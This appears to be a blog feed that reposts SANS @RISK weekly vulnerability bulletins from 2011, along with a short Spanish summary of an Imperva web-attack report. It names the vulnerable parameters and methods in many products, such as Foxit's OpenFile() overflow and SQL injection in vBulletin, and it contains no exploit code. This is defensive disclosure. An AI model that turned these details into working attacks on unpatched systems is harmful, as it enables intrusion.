http://www.securityfocus.com/bid/48851

http://www.securityfocus.com/bid/48852

http://www.securityfocus.com/bid/48853

http://www.securityfocus.com/bid/48854

http://www.securityfocus.com/bid/48855

http://www.securityfocus.com/bid/48856

http://www.securityfocus.com/bid/48857

http://www.securityfocus.com/bid/48858

http://www.securityfocus.com/bid/48859

http://www.securityfocus.com/bid/48860

*************************************************************

(2) MEDIUM: Foxit Reader ActiveX Control Buffer Overflow

Affected:

Foxit Reader ActiveX Control version 2.0.1.524.

Foxit Reader version 5.0.1.0523.

Description: Foxit has released a patch addressing a buffer overflow vulnerability in its FoxitReaderOCX ActiveX control, which is included in its plugin for FireFox. By enticing a target to view a web site that instantiates this control and sends an overly long string to the strFilePath parameter of its OpenFile() method, an attacker can exploit this vulnerability in order to execute arbitrary code on the target's machine.

Status: vendor confirmed, updates available

References:

Vendor Site

http://www.foxitsoftware.com

Foxit Security Bulletin

http://www.foxitsoftware.com/Secure_PDF_Reader/security_bulletins.php#execution

SecurityFocus BugTraq ID

http://www.securityfocus.com/bid/48836

*************************************************************

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys

(www.qualys.com)

This list is compiled by Qualys ( www.qualys.com ) as part of that company's ongoing effort to ensure its vulnerability management web service tests for all known vulnerabilities that can be scanned. As of this week Qualys scans for 11861 unique vulnerabilities. For this special SANS community listing, Qualys also includes vulnerabilities that cannot be scanned remotely.

______________________________________________________________________

11.31.1 CVE: Not Available

Platform: Other Microsoft Products

Title: Internet Explorer EUC-JP Encoded Characters Cross-Site Scripting

Description: Microsoft Internet Explorer is a Web browser for Windows platforms. The application is exposed to a cross-site scripting issue.

Specifically, the issue occurs because the application fails to properly sanitize input passed via EUC-JP encoded characters. Internet Explorer versions 6 and 7 are vulnerable.

Ref: http://www.securityfocus.com/bid/48888/discuss

______________________________________________________________________

11.31.2 CVE: Not Available

Platform: Third Party Windows Apps

Title: Foxit Reader "FoxitReaderOCX" ActiveX Control "OpenFile()"

Buffer Overflow

Description: Foxit Reader is a P2P client for the Microsoft Windows operating platform. Foxit Reader is exposed to a buffer overflow issue because the application fails to perform adequate boundary checks on user-supplied data. This issue affects the "OpenFile()" method of the "FoxitReaderOCX" ActiveX control when passing excessively large amounts of data through the "strfilePath" parameter. Foxit Reader

5.0.1.0523 is vulnerable and other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48836/references

______________________________________________________________________

11.31.3 CVE: Not Available

Platform: Third Party Windows Apps

Title: Kingsoft Antivirus "KisKrnl.sys" Driver Local Privilege Escalation

Description: Kingsoft Antivirus is a security application for Microsoft Windows platforms. The application is exposed to a local privilege escalation issue. This issue affects the "NtQueryValueKey"

function of the "KisKrnl.sys" driver, and is due to a failure to properly bounds check the "ResultLength" buffer. Kingsoft Antivirus

2011.7.8.913 is vulnerable and other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48867/references

______________________________________________________________________

11.31.4 CVE: Not Available

Platform: Third Party Windows Apps

Title: CiscoKits CCNA TFTP Server Long Filename Remote Denial of Service

Description: CiscoKits CCNA TFTP Server is a trivial FTP server application. The application is exposed to a remote denial of service issue. This issue occurs when an overly long filename is provided to the "read" command request. CiscoKits CCNA TFTP Server 1.0 is affected and other versions may also be vulnerable.

Ref: http://www.securityfocus.com/bid/48868/discuss

______________________________________________________________________

11.31.5 CVE: Not Available

Platform: Third Party Windows Apps

Title: Download Accelerator Plus ".m3u" File Buffer Overflow

Description: Download Accelerator Plus is an application used to accelerate file downloads. The application is exposed to a buffer overflow issue because it fails to perform adequate checks on user-supplied input. Specifically, this issue occurs when processing a ".m3u" file. Download Accelerator Plus 9.7 is vulnerable and other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48871/references

______________________________________________________________________

11.31.6 CVE: Not Available

Platform: Third Party Windows Apps

Title: Computer Associates ARCserve D2D "homepageServlet" Servlet Information Disclosure

Description: Computer Associates ARCserve D2D is a disk-based backup solution. The application is exposed to an information-disclosure vulnerability that affects the "homepageServlet" servlet. An unauthenticated attacker can exploit this issue to obtain the "username" and "password" of the administrator by sending a specially crafted RPC (Remote Procedure Call) request to the affected servlet.

The RPC request will contain a message to the "getLocalHost()"

procedure. Computer Associates ARCServe D2D r15 is vulnerable.

Ref: http://retrogod.altervista.org/9sg_ca_d2dii.html

______________________________________________________________________

11.31.7 CVE: CVE-2011-2503,CVE-2011-2502

Platform: Linux

Title: SystemTap Multiple Local Privilege Escalation Vulnerabilities

Description: SystemTap is an application for Linux that is used for gathering system information. The SystemTap runtime tool (staprun) is exposed to multiple local privilege escalation issues. When a request is made for ad hoc module instrumentation via user space probing with a user specified module path, the tool fails to properly enforce the module's path sanity check. A race condition issue exists in the tool when loading modules. Specifically, there is a time gap between performing the module sanity checks and actually loading the module. SystemTap 1.4.6 and SystemTap 1.3.9 are affected.

Ref: http://www.securityfocus.com/bid/48886/references

______________________________________________________________________

11.31.8 CVE: CVE-2011-2514,CVE-2011-2513

Platform: Linux

Title: IcedTea6 and IcedTea-Web Information Disclosure and Security Bypass Vulnerabilities

Description: IcedTea6 is a project based on OpenJDK6. IcedTea-Web is a web browser plug-in implementation of Java Web Start. The applications are exposed to multiple issues. An information disclosure issue exists in the Java Network Launching Protocol (JNLP).

IcedTea-Web is exposed to a security bypass issue that exists in the Java Network Launching Protocol (JNLP). IcedTea6 versions 1.9.x prior to 1.9.9, 1.8.x prior to 1.8.9, IcedTea-Web versions 1.1.x prior to 1.1.1, 1.0.x prior to 1.0.4 are vulnerable.

Ref: http://www.securityfocus.com/bid/48829/discuss

______________________________________________________________________

11.31.9 CVE:

CVE-2011-1797,CVE-2011-1462,CVE-2011-1457,CVE-2011-1453,CVE-2011-1288,CVE-2011-0255,CVE-2011-0254,

CVE-2011-0253,CVE-2011-0240,CVE-2011-0238,CVE-2011-0237,CVE-2011-0235,CVE-2011-0234,CVE-2011-0233,

CVE-2011-0232,CVE-2011-0225,CVE-2011-0222,CVE-2011-0221,CVE-2011-0218

Platform: Cross Platform

Title: Apple Safari Multiple Security Vulnerabilities

Description: Apple Safari is a web browser available for Mac OS X and Microsoft Windows. Safari is exposed to multiple security issues that have been addressed in Apple security advisory APPLE-SA-2011-07-20-1.

Safari 5.1 and 5.0.6 running on Apple Mac OS X, Windows 7, XP and Vista are affected.

Ref:

http://lists.apple.com/archives/security-announce/2011/Jul/msg00002.html

______________________________________________________________________

11.31.10 CVE: CVE-2011-2467

Platform: Cross Platform

Title: Likewise Open lsassd Service SQL Injection

Description: Likewise Open is an authentication solution for Unix and Linux operating systems. The application is exposed to an SQL injection issue because it fails to sufficiently sanitize user-supplied data to the unspecified parameter of the "lsassd"

service before using it in an SQL query. Likewise Open 5.4, 6.0, 6.1 are affected.

Ref:

http://www.likewise.com/community/index.php/forums/viewannounce/1212_6/

______________________________________________________________________

11.31.11 CVE: Not Available

Platform: Cross Platform

Title: BusyBox "udhcpc" Shell Characters in Response Remote Code Execution

Description: "udhcpc" is a DHCP client utility which is distributed in the BusyBox application. The client is exposed to a remote code execution issue because it fails to properly escape certain shell meta-characters from DHCP server responses, such as the "hostname"

parameter passed in the option "0x0c". BusyBox 1.18.5 is affected.

Ref: http://www.securityfocus.com/bid/48879/references

______________________________________________________________________

11.31.12 CVE: CVE-2011-2701

Platform: Cross Platform

Title: FreeRADIUS Revoked Certificate Authentication Bypass Vulnerability

Description: FreeRADIUS is an open source implementation of the RADIUS protocol for authentication. The application is exposed to an authentication bypass issue because it allows attackers to use revoked certificates to gain authenticated access to the FreeRADIUS server. This issue occurs in the "ocsp_check()" function of the "rlm_ear_tls.c" source file. Specifically when the "OCSP_basic_verify()" function validates the certificate, it fails to check if the certificate has been revoked. FreeRADIUS versions 2.1.11 and earlier are vulnerable.

Ref:

https://www.dfn-cert.de/informationen/Sicherheitsbulletins/dsb-2011-01.html

______________________________________________________________________

11.31.13 CVE: CVE-2011-1411

Platform: Cross Platform

Title: OpenSAML XML Signature Wrapping Security Vulnerability

Description: OpenSAML is an open source library for the Security Assertion Markup Language (SAML) standard. OpenSAML is exposed to a security issue involving XML signature wrapping. This issue occurs in the XML message signing tool, which is used in place of the TLS mechanism when validating certain queries. OpenSAML prior to V2.5.1 are affected.

Ref: http://shibboleth.internet2.edu/secadv/secadv_20110725.txt

______________________________________________________________________

11.31.14 CVE: Not Available

Platform: Cross Platform

Title: ClamAV Hash Manager Off-By-One Denial of Service

Description: ClamAV is a multiplatform toolkit used for scanning email messages for viruses. The application is exposed to a denial of service issue due to an off-by-one error in the "cli_hm_scan()" function of the "libclamav/matcher-hash.c" source file. This issue occurs in the hash manager of the application when scanning certain hashes of malicious messages. Versions prior to ClamAV 0.97.2 are vulnerable.

Ref: http://www.securityfocus.com/bid/48891/discuss

______________________________________________________________________

11.31.15 CVE: Not Available

Platform: Cross Platform

Title: ICQ Profile HTML Injection Vulnerability

Description: ICQ is an instant messaging client. The application is exposed to an HTML injection issue because it fails to properly sanitize user-supplied input to a user's profile. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. ICQ 7.5 and prior running on Windows are vulnerable.

Ref: http://noptrix.net/advisories/icq_cli_xss.txt

______________________________________________________________________

11.31.16 CVE: Not Available

Platform: Web Application - Cross Site Scripting

Title: Tiki Wiki CMS Groupware "snarf_ajax.php" Cross-Site Scripting

Description: Tiki Wiki CMS Groupware is a PHP-based database management application. The application is exposed to a cross-site scripting issue because it fails to sufficiently sanitize user-supplied data submitted to the "ajax" parameter of the "snarf_ajax.php" script. Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected.

Ref: http://www.htbridge.ch/advisory/xss_in_tiki_wiki_cms_groupware.html

______________________________________________________________________

11.31.17 CVE: Not Available

Platform: Web Application - Cross Site Scripting

Title: Koha OPAC Multiple Cross-Site Scripting Vulnerabilities

Description: Koha is a web-based library management system implemented in perl. The application is exposed to multiple cross-site scripting issues in its OPAC (Online Public Access Catalog) interface because it fails to properly sanitize user-supplied input submitted to the following scripts: "opac-downloadcart.pl","opac-addbybiblionumber.pl",

"opac-downloadshelf.pl", "opac-review.pl", "opac-sendshelf.pl", "opac-serial-issues.pl". Koha version 3.2.9 and earlier, 3.4.1 and earlier are vulnerable.

Ref: http://www.securityfocus.com/archive/1/519000

______________________________________________________________________

11.31.18 CVE: Not Available

Platform: Web Application - SQL Injection Vulnerability

Title: vBulletin "messagegroupid" Parameter SQL Injection

Description: vBulletin is a content manager implemented in PHP.

vBulletin is exposed to an SQL injection issue because it fails to sufficiently sanitize user-supplied data submitted to the "messagegroupid" parameter of the "socialgroupmessage.php" script before using it in an SQL query. vBulletin versions 4.0.1 through

4.1.3 are vulnerable; other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48826/references

______________________________________________________________________

11.31.19 CVE: Not Available

Platform: Web Application - SQL Injection

Title: ExtCalendar "username" and "password" SQL Injection Vulnerabilities

Description: ExtCalendar is a powerful multi user web-based calendar application. The application is exposed to multiple SQL injection issues because the application fails to sufficiently sanitize user-supplied data passed to the "username" and "password" cookie parameters before using it in an SQL query. ExtCalendar 2.0 is vulnerable; other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48870/discuss

______________________________________________________________________

11.31.20 CVE: Not Available

Platform: Web Application

Title: PRADO "TActiveFileUpload.php" Directory Traversal Vulnerability

Description: PRADO is a Web application implemented in PHP. The application is exposed to a directory traversal issue because it fails to sufficiently sanitize user-supplied input passed to the "TActiveFileUpload.php" script. PRADO 3.1.3 and prior versions are affected.

Ref: http://code.google.com/p/prado3/issues/detail?id=349

______________________________________________________________________

11.31.21 CVE: Not Available

Platform: Web Application

Title: Free Help Desk Multiple Unspecified Vulnerabilities

Description: Free Help Desk is a Web-based help desk system. The application is exposed to multiple unspecified issues. Free Help Desk versions prior to 1.1b are vulnerable.

Ref: http://www.securityfocus.com/bid/48864/discuss

______________________________________________________________________

11.31.22 CVE: Not Available

Platform: Web Application

Title: cgit HTML Injection Vulnerability

Description: cgit is a file repository application. The application is exposed to an HTML injection issue because it fails to properly sanitize user-supplied requests. Specifically, the file name is displayed in the rename hint. Versions prior to cgit 0.9.0.2-2 are vulnerable.

Ref: http://www.securityfocus.com/bid/48866/discuss

______________________________________________________________________

11.31.23 CVE: CVE-2011-2643,CVE-2011-2642

Platform: Web Application

Title: phpMyAdmin Multiple Remote Vulnerabilities

Description: phpMyAdmin is a PHP-based Web application. phpMyAdmin is exposed to multiple issues. An HTML injection issue affects the "table name" field of the "table print view" script. A local file include issue affects the "MIME-type" transformation parameter.

A local file include issue exists because the application fails to sanitize user-supplied input passed to the "PMA_createTargetTable"

function of the "libraries/server_synchronize_lib.php" script. A security issue exists in the "Swekey" authentication may allow attackers overwrite session variables. phpMyAdmin versions prior to

3.3.10.3 and 3.4.3.2 are affected.

Ref: http://www.phpmyadmin.net/home_page/security/PMASA-2011-9.php

http://www.phpmyadmin.net/home_page/security/PMASA-2011-10.php

http://www.phpmyadmin.net/home_page/security/PMASA-2011-11.php

http://www.phpmyadmin.net/home_page/security/PMASA-2011-12.php

______________________________________________________________________

11.31.24 CVE: Not Available

Platform: Web Application

Title: Musicbox Cross-Site Scripting and SQL Injection Vulnerabilities

Description: Musicbox is a web-based application for hosting a music site. It is implemented in PHP. The application is exposed to multiple issues. A SQL injection issue affects the "show"

parameter of the "index.php" script. A cross-site scripting issue affects the "term" parameter of the "index.php" script. Musicbox 3.7 is affected; other versions may also be vulnerable.

Ref: http://www.securityfocus.com/bid/48881/references

______________________________________________________________________

11.31.25 CVE: Not Available

Platform: Web Application

Title: ManageEngine ServiceDesk Plus Local Privilege Escalation

Description: The ManageEngine Applications Manager is a web-based availability and performance monitoring application. ManageEngine is exposed to a local privilege escalation issue. Specifically, the application fails to sanitize data supplied to the "module" parameter of the "BackupSchedule.do" script. ManageEngine ServiceDesk Plus 8 is vulnerable; other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48882/references

______________________________________________________________________

11.31.26 CVE: CVE-2011-2546

Platform: Hardware

Title: Cisco SA 500 Series Appliances Web Management Interface SQL Injection

Description: Cisco SA 500 series appliances provide security solutions. The devices are exposed to an unspecified SQL injection issue because they fail to sufficiently sanitize user-supplied data before using it in an SQL query. Cisco SA520, Cisco SA520W and Cisco

SA540 are affected.

Ref:

http://www.cisco.com/en/US/products/products_security_advisory09186a0080b8915e.shtml

______________________________________________________________________

11.31.27 CVE: Not Available

Platform: Hardware

Title: Dlink DPH 150SE/E/F1 IP Phones Multiple Remote Vulnerabilities

Description: Dlink DPH IP phones are wireless IP phones. Dlink DPH IP phones are exposed to multiple remote issues. An authentication bypass issue may allow attackers to obtain device configuration files including the administrators password. An arbitrary file upload issue exists in the web management interface and may allow an attacker to upload configuration files to the affected device. An unauthorized access issue may allow attackers to modify the messages shown on the devices' LCD displays. A denial of service issue may allow attackers to reboot the affected device. Dlink DPH 150SE, Dlink DPH 150E, Dlink DPH 150F1 are affected.

Ref: http://www.securityfocus.com/bid/48894/references

______________________________________________________________________

Informe de Ataques a Web App - IMPERVA

noreply@blogger.com (Pablo Ramirez Hoffmann) — Wed, 27 Jul 2011 13:57:00 +0000

Robert Freeman de IMPERVA, me ha hecho llegar el primer reporte de ataques sobre aplicaciones web confeccionado por este fabricante…

El análisis muestra que:

Debido a los robot o zombies que automatizan los ataques, las aplicaciones web en promedio, son probadas o atacadas alrededor de 27 veces por hora, En la cúspide de un ataque, las aplicaciones web experimentan cerca de 25.000 ataques por hora. Un dato muy importante al momento de dimensionar infraestructura.

Otro de los datos relevantes de este informe, es la tendencia de que existen cuatro tipos de ataques dominantes contra aplicaciones Web: Directory Traversal, Cross-Site Scripting, SQL injection y Remote File Inclusion

Además, este informe muestra cuales son los orígenes de los ataques, los cuales se muestran en el siguiente gráfico, y podemos utilizarlos como datos de reputación para el acceso a nuestros sitios web:

También se puede observar varias herramientas de explotación que están siendo utilizadas para automatizar los ataques… que si lo miramos desde un punto de vista ético, podemos utilizarlas como herramientas de Pentesting.

El informe lo pueden descargar desde:

http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed1.pdf

Resumen de Vulnerabilidades - Semana 30

noreply@blogger.com (Pablo Ramirez Hoffmann) — Thu, 21 Jul 2011 14:46:00 +0000

______________________________________________________________________

@RISK: The Consensus Security Vulnerability Alert

Week 30 2011

______________________________________________________________________

Summary of Updates and Vulnerabilities in this Consensus

Platform Number of Updates and Vulnerabilities

- ------------------------ -------------------------------------

Third Party Windows Apps 3

Linux 1

Solaris 1

Cross Platform 14 (#1,#2,#3)

Web Application - SQL Injection 2

Web Application 4

Network Device 1

Hardware 1

****************************************************************************

Part I -- Critical Vulnerabilities from TippingPoint (www.tippingpoint.com) Widely Deployed Software

(1) HIGH: Oracle Multiple Products Multiple Vulnerabilities

(2) HIGH: Apple iOS Multiple Vulnerabilities

(3) MEDIUM: Citrix Access Gateway ActiveX Component Stack Buffer Overflow

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys

(www.qualys.com)

-- Third Party Windows Apps

11.30.1 - Citrix Access Gateway Plug-in ActiveX Control Multiple Unspecified Vulnerabilities

11.30.2 - Dell OpenManage IT Assistant Information Disclosure

11.30.3 - Google Picasa JPEG Image Processing Remote Code Execution Vulnerability

-- Linux

11.30.4 - JBoss Seam Expression Language Remote Code Execution Vulnerability

-- Solaris

11.30.5 - Oracle Sun Solaris Multiple Vulnerabilities

-- Cross Platform

11.30.6 - BlackBerry Enterprise Server Administration API Information Disclosure Vulnerability

11.30.7 - VLC Media Player ".RM" and ".AVI" Files Multiple Remote Heap Buffer Overflow Vulnerabilities

11.30.8 - Check Point Provider-1 Unspecified Local Security Vulnerability

11.30.9 - Apache Tomcat "sendfile" Request Attributes Information Disclosure

11.30.10 - Foomatic "foomatic-rip" Command Injection Vulnerability

11.30.11 - Mozilla Firefox and Thunderbird CRLF Injection Vulnerability

11.30.12 - IBM WebSphere Application Server Administration Console Local Information Disclosure Vulnerability

11.30.13 - Fglrx "xauth secret" Cookie Information Disclosure

11.30.14 - Oracle Enterprise Manager Grid Control Multiple Vulnerabilities

11.30.15 - Oracle Application Server XML Developer Kit Remote Security Vulnerability

11.30.16 - Oracle Fusion Middleware Multiple Vulnerabilities

11.30.17 - Oracle VM VirtualBox Multiple Local Vulnerabilities

11.30.18 - Oracle Database Server Multiple Vulnerabilities

11.30.19 - Oracle PeopleSoft Multiple Vulnerabilities

-- Web Application - SQL Injection

11.30.20 - LiteRadius "locator.php" Multiple SQL Injection Vulnerabilities

11.30.21 - MapServer Multiple SQL Injection Vulnerabilities

-- Web Application

11.30.22 - Trend Micro Control Manager "module" Parameter Directory Traversal Vulnerability

11.30.23 - Chyrp Multiple Input Validation Vulnerabilities

11.30.24 - EMC Documentum eRoom Indexing Server HummingBird Connector Remote Buffer Overflow Vulnerability

11.30.25 - Support Incident Tracker Multiple Unspecified Vulnerabilities

-- Network Device

11.30.26 - Iskratel SI2000 Callisto 821+ Multiple Security Vulnerabilities

-- Hardware

11.30.27 - HP Arcsight Connector Appliance Cross-Site Scripting Vulnerability

______________________________________________________________________

PART I Critical Vulnerabilities

______________________________________________________________________

(1) HIGH: Oracle Multiple Products Multiple Vulnerabilities

Affected:

Oracle Secure Backup

Oracle Fusion Middleware

Description: Oracle has released patches for multiple vulnerabilities affecting its products. Oracle Secure Backup, which provides centralized tape backup management for heterogeneous servers, has been patched to address an unspecified remote vulnerability in Oracle Secure Backup that can be exploited over the HTTP protocol. An unauthenticated attacker can exploit this vulnerability in order to completely violate the integrity of a target Windows system. This vulnerability is less severe on Linux, Unix, and other platforms. Oracle has also released a patch for Fusion Middleware, a platform for applications that runs on multiple operating systems. Oracle JRockit, which is Oracle's JVM (Java Virtual Machine) embedded into Fusion Middleware, was susceptible to an unspecified vulnerability. An unauthenticated remote attacker can exploit this vulnerability in order to completely violate the integrity of a target system.

Status: vendor confirmed, updates available

References:

Vendor Site

http://www.oracle.com

Oracle Critical Patch Advisory

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

SecurityFocus BugTraq ID

http://www.securityfocus.com/bid/48148

http://www.securityfocus.com/bid/48752

*************************************************************

(2) HIGH: Apple iOS Multiple Vulnerabilities

Affected:

Apple iOS prior to 4.2.9

Apple iOS prior to 4.3.4

Description: Apple has released patches for multiple vulnerabilities affecting components of its iOS operating system for mobile devices. The issues include two CoreGraphics vulnerabilities that could be triggered when opening a malicious PDF. The first exists because of a buffer overflow in the component of FreeType responsible for handling TrueType fonts. The second involves an unspecified signedness issue. By enticing a target to open a malicious PDF, an attacker can exploit these vulnerabilities in order to execute arbitrary code on the target's machine.

Status: vendor confirmed, updates available

References:

Vendor Site

http://www.apple.com

Apple Security Advisories

http://support.apple.com/kb/HT4802

http://support.apple.com/kb/HT4803

SecurityFocus BugTraq ID

http://www.securityfocus.com/bid/44214

http://www.securityfocus.com/bid/48619

************************************************************

(3) MEDIUM: Citrix Access Gateway ActiveX Component Stack Buffer Overflow

Affected:

Citrix Access Gateway 8.1 prior to 8.1-67.7 Citrix Access Gateway 9.0 prior to 9.0-70.5 Citrix Access Gateway 9.1 prior to 9.1-96.4

Description: Citrix has released patches for Access Gateway, a system that provides remote access to applications via VPN over SSL, addressing a stack buffer overflow vulnerability in the ActiveX component installed on endpoint systems. The vulnerable ActiveX control does not properly handle HTTP header data sent from a Citrix server. By enticing a target to view a malicious site, an attacker can exploit this vulnerability in order to execute arbitrary code on the target's machine in the context of the currently logged-in user.

Status: vendor confirmed, updates available

References:

Vendor Site

http://www.citrix.com

Citrix Security Advisory

http://support.citrix.com/article/CTX129902

iDefense Public Advisories

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=928

*************************************************************

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys (www.qualys.com)

This list is compiled by Qualys ( www.qualys.com ) as part of that company's ongoing effort to ensure its vulnerability management web service tests for all known vulnerabilities that can be scanned. As of this week Qualys scans for 11784 unique vulnerabilities. For this special SANS community listing, Qualys also includes vulnerabilities that cannot be scanned remotely.

______________________________________________________________________

11.30.1 CVE: Not Available

Platform: Third Party Windows Apps

Title: Citrix Access Gateway Plug-in ActiveX Control Multiple Unspecified Vulnerabilities

Description: The Citrix Access Gateway Plug-in is client software for Windows. The application is exposed to multiple unspecified remote code execution issues. Citrix Access Gateway Plug-in versions prior to 8.1-67.7, 9.0-70.5 and 9.1-96.4 are vulnerable and other versions may also be affected.

Ref: http://support.citrix.com/article/CTX129902

______________________________________________________________________

11.30.2 CVE: Not Available

Platform: Third Party Windows Apps

Title: Dell OpenManage IT Assistant Information Disclosure

Description: Dell OpenManage IT Assistant provides solutions for centralized management of computer systems. Dell OpenManage IT Assistant "detectIESettingsForITA.OCX" ActiveX control is exposed to a remote information disclosure issue. Specifically, this issue occurs because of an insecure "readRegVal()" method which allows attackers to disclose registry values by querying it. The affected control is identified by CLSID: 6286EF1A-B56E-48EF-90C3-743410657F3C. Dell OpenManage IT Assistant 8.9.0 is affected.

Ref: http://www.securityfocus.com/bid/48680/discuss

______________________________________________________________________

11.30.3 CVE: CVE-2011-2747

Platform: Third Party Windows Apps

Title: Google Picasa JPEG Image Processing Remote Code Execution Vulnerability

Description: Google Picasa is a graphics application available for Microsoft Windows. Google Picasa is exposed to a remote code execution issue while processing JPEG image files. Google Picasa 3.6 Build

105.61 is affected.

Ref: http://www.securityfocus.com/bid/48725/references

______________________________________________________________________

11.30.4 CVE: CVE-2011-2196

Platform: Linux

Title: JBoss Seam Expression Language Remote Code Execution Vulnerability

Description: JBoss Seam is a framework for developing Web 2.0 applications. JBoss Seam is exposed to a remote code execution issue because it fails to properly restrict access to JBoss Expression Language constructs during page exception handling. JBoss Enterprise SOA Platform 4.3.0.CP05 and 5.1.0 are affected.

Ref:

http://packetstormsecurity.org/files/view/103146/RHSA-2011-0952-01.txt

______________________________________________________________________

11.30.5 CVE:

CVE-2011-2295,CVE-2011-2293,CVE-2011-2258,CVE-2011-2289,CVE-2011-2296,

CVE-2011-2294,CVE-2011-2249,CVE-2011-2290,CVE-2011-2259,CVE-2011-2298,

CVE-2011-2291,CVE-2011-2285,CVE-2011-2287,CVE-2011-2245

Platform: Solaris

Title: Oracle Sun Solaris Multiple Vulnerabilities

Description: Oracle Sun Solaris is exposed to multiple issues.

Multiple local issues affect "Driver/USB", "Zones", "rksh", "LiveUpgrade", "Kernel/SCTP", "Kernel/sockfs", "UFS", "Trusted Extensions" and "Installer" sub component. Multiple remote issues affect "SSH", "TCP/IP", "KSSL" and "fingerd" sub component.

Solaris 8, 9, 10 and 11 Express are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.6 CVE: CVE-2011-0287

Platform: Cross Platform

Title: BlackBerry Enterprise Server Administration API Information Disclosure Vulnerability

Description: Blackberry Enterprise Server is communications middleware for Research In Motion Blackberry devices. BlackBerry Enterprise Server is exposed to an information disclosure issue. This issue affects the Administration API. BlackBerry Enterprise Server software 5.0.1 through 5.0.3 and BlackBerry Enterprise Server Express software 5.0.1 through 5.0.3 are affected.

Ref:

http://btsc.webapps.blackberry.com/btsc/search.do?cmd=displayKC&docType=kc&externalId=KB27258

______________________________________________________________________

11.30.7 CVE: CVE-2011-2588,CVE-2011-2587

Platform: Cross Platform

Title: VLC Media Player ".RM" and ".AVI" Files Multiple Remote Heap Buffer Overflow Vulnerabilities

Description: VLC is a cross-platform media player. The application is exposed to multiple heap-based buffer overflow issues.

A heap-based buffer overflow occurs because of an integer overflow error when parsing a RealAudio data block in RealMedia files.

A heap-based buffer overflow occurs because of an integer underflow error when parsing a "strf" chunk in AVI files. VLC media player versions 0.5.0 through 1.1.10 are vulnerable and other versions may also be affected.

Ref: http://www.videolan.org/security/sa1105.html

http://www.videolan.org/security/sa1106.html

______________________________________________________________________

11.30.8 CVE: CVE-2011-2664

Platform: Cross Platform

Title: Check Point Provider-1 Unspecified Local Security Vulnerability

Description: Check Point Provider-1 provides a multi-domain management solution. The application is exposed to an unspecified security issue which occurs during installation on non-Windows systems. Check Point NGX R65, R70, R71, R75 are affected.

Ref:

https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk63565

______________________________________________________________________

11.30.9 CVE: CVE-2011-2526

Platform: Cross Platform

Title: Apache Tomcat "sendfile" Request Attributes Information Disclosure

Description: Apache Tomcat is a Java-based web server application for multiple operating systems. The application is exposed to a remote information disclosure issue. Specifically, "sendfile" is used automatically to serve content through the "DefaultServlet", and web applications may use it by setting request attributes. The request attributes are not properly validated, which allows a specially crafted web application to return files that would normally be protected by a Security Manager. Tomcat versions 5.5.0 through 5.5.33, 6.0.0 through

6.0.32 and 7.0.0 through 7.0.18 are affected.

Ref: http://www.securityfocus.com/bid/48667/discuss

______________________________________________________________________

11.30.10 CVE: Not Available

Platform: Cross Platform

Title: Foomatic "foomatic-rip" Command Injection Vulnerability

Description: Foomatic is a database driven system for integrating various print spoolers with available printer drivers. Foomatic is exposed to a command injection issue because it fails to adequately sanitize user-supplied input. Specifically, the issue affects the "foomatic-rip" utility because it allows users to provide crafted PPD files using the "-p" parameter. Foomatic 4.0.6 is vulnerable and other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48674/references

______________________________________________________________________

11.30.11 CVE: CVE-2011-2605

Platform: Cross Platform

Title: Mozilla Firefox and Thunderbird CRLF Injection Vulnerability

Description: Firefox is a browser. Thunderbird is an email client.

Both applications are available for multiple platforms. Mozilla Firefox and Thunderbird are exposed to a CRLF injection issue in the "netwerk/cookie/nsCookieService.cpp" source file. Multiple cookies may be set with the "document.cookie" API. Mozilla Thunderbird versions prior to 3.1.11, Mozilla Firefox versions prior to 3.6.18 are affected.

Ref: http://www.securityfocus.com/bid/48696/discuss

______________________________________________________________________

11.30.12 CVE: CVE-2011-1356

Platform: Cross Platform

Title: IBM WebSphere Application Server Administration Console Local Information Disclosure Vulnerability

Description: IBM WebSphere Application Server for z/OS is an application server used for service oriented architecture. The application is exposed to a local information disclosure issue affecting the administrative console. IBM WebSphere Application Server

6.1 and 7.0 are vulnerable and other versions may also be affected.

Ref: http://xforce.iss.net/xforce/xfdb/68571

______________________________________________________________________

11.30.13 CVE: Not Available

Platform: Cross Platform

Title: Fglrx "xauth secret" Cookie Information Disclosure

Description: Fglrx is a driver for AMD/ATI based chipsets for Linux and Windows. The application is exposed to an information disclosure issue. Specifically, the issue occurs due to improper handling of "xauth secret" cookie. Fglrx 1:11-3-1 is vulnerable and other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48724/discuss

______________________________________________________________________

11.30.14 CVE: CVE-2011-0848,CVE-2011-0875,CVE-2011-0816,CVE-2011-0845

Platform: Cross Platform

Title: Oracle Enterprise Manager Grid Control Multiple Vulnerabilities

Description: Oracle Enterprise Manager Grid Control is exposed to multiple issues. A remote issue in Security Framework can be exploited over the "HTTP" protocol. The "User Model" sub component is affected. A remote issue in EMCTL can be exploited over the "HTTP" protocol. A remote issue in CMDB Metadata & Instance APIs can be exploited over the "Oracle NET" protocol. A remote vulnerability in Database Control can be exploited over the "HTTP" protocol. Oracle Enterprise Manager Grid Control version 10.1.0.5, 10.2.0.3, 10.1.0.6, 10.2.0.5, 10.2.0.4, 11.1.0.7, 11.2.0.1, 11.2.0.2 are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.15 CVE: CVE-2011-2232

Platform: Cross Platform

Title: Oracle Application Server XML Developer Kit Remote Security Vulnerability

